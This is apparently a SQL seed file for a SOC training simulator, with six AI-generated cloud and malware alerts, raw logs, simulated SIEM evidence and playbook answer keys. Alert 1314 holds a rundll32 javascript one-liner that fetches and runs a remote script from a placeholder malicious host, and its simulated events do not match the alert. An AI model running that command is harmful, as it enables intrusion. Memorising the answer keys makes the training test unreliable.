INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1309, 'Unauthorized Access to Serverless Function Detected', 'high', 'AWS GuardDuty', 'An unauthorized user attempted to execute a sensitive serverless function, indicating a potential attempt to gain elevated privileges.', 'Execution', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-24T05:50:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"192.168.4.10\",\"username\":\"unauthorized_user\",\"hostname\":\"serverless-function-01\",\"request_body\":null,\"command_line\":\"aws lambda invoke --function-name sensitiveFunction\"}', '2026-02-24 03:24:16', '2026-02-27 06:51:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws lambda invoke --function-name sensitiveFunction\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command used to invoke sensitive serverless functions without authorization\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The use of an unauthorized account to access a sensitive function suggests a potential privilege escalation attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.771Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T05:50:15Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.4.10\\\",\\\"username\\\":\\\"unauthorized_user\\\",\\\"hostname\\\":\\\"serverless-function-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"aws lambda invoke --function-name sensitiveFunction\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1310, 'False Positive: Legitimate Cloud Configuration Change', 'low', 'GCP SCC', 'A legitimate change in cloud configuration was incorrectly flagged as suspicious due to unusual pattern of activity.', 'Configuration Change', 'T1578', 0, 'Closed', 232, '{\"timestamp\":\"2026-02-24T11:20:00Z\",\"event_type\":\"configuration_change\",\"src_ip\":\"192.168.5.25\",\"dst_ip\":null,\"username\":\"admin_user\",\"hostname\":\"gcp-console\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:24:16', '2026-03-09 18:23:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for cloud management\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized user performing regular maintenance\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"configuration_change\",\"analysis_notes\":\"The activity corresponds to a scheduled maintenance window, and the user has proper permissions.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.772Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:20:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.5.25\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"gcp-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1311, 'Potential Exfiltration via Misconfigured S3 Bucket', 'high', 'AWS GuardDuty', 'Data exfiltration is suspected due to a misconfigured S3 bucket allowing public access to sensitive files.', 'Data Exfiltration', 'T1537', 0, 'resolved', NULL, '{\"timestamp\":\"2026-02-24T08:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.42\",\"dst_ip\":\"192.168.2.30\",\"username\":null,\"hostname\":\"public-s3-bucket\",\"request_body\":\"GET /sensitive-data.csv\",\"command_line\":null}', '2026-02-24 03:24:16', '2026-02-27 06:52:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP known for accessing misconfigured public resources\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data.csv\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Request for potentially sensitive data\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The public access to sensitive data indicates a misconfiguration that could lead to data exfiltration.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"192.168.2.30\\\",\\\"username\\\":null,\\\"hostname\\\":\\\"public-s3-bucket\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv\\\",\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1312, 'False Positive: Internal Network Activity Mistaken as Anomalous', 'low', 'Prisma Cloud', 'Regular internal network communications were mistaken as anomalous due to increased traffic levels.', 'Network Activity', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-02-24T10:15:34Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"192.168.10.20\",\"username\":\"network_service\",\"hostname\":\"internal-server-01\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:24:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in routine network operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address as communication target\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"The traffic is consistent with regular internal operations and does not indicate malicious activity.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.774Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.10.15\\\",\\\"dst_ip\\\":\\\"192.168.10.20\\\",\\\"username\\\":\\\"network_service\\\",\\\"hostname\\\":\\\"internal-server-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1313, 'Potential Privilege Escalation via IAM Policy Change', 'high', 'AWS GuardDuty', 'An IAM policy was altered to grant additional privileges to a user, possibly indicating a privilege escalation attempt.', 'Privilege Escalation', 'T1068', 1, 'New', NULL, '{\"timestamp\":\"2026-02-24T12:05:00Z\",\"event_type\":\"configuration_change\",\"src_ip\":\"198.51.100.100\",\"dst_ip\":null,\"username\":\"policy_admin\",\"hostname\":\"iam-management-console\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:24:16', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with unauthorized IAM changes\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"policy_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User with permissions to modify IAM policies\"}}],\"expected_actions\":[\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"privilege_escalation\",\"analysis_notes\":\"The unauthorized change to IAM policies suggests an attempt to gain elevated privileges, potentially leading to further exploitation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:05:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"198.51.100.100\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"policy_admin\\\",\\\"hostname\\\":\\\"iam-management-console\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1314, 'APT-Level Malware Detected via Fileless Technique', 'critical', 'Recorded Future', 'A sophisticated fileless malware was detected using process hollowing and memory-only payloads, indicative of APT activity.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T14:32:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"command_line\":\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https://malicious.site/script\\\")\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:https://malicious.site/script\\\")\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates fileless malware execution\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of APT campaign\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious IP and fileless execution technique confirms the alert as a true positive.\"}', 'Expert', 'TI', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.781Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T14:32:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"command_line\\\":\\\"rundll32.exe javascript:\\\\\\\"\\\\\\\\..\\\\\\\\mshtml,RunHTMLApplication \\\\\\\";document.write();GetObject(\\\\\\\"script:https://malicious.site/script\\\\\\\")\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
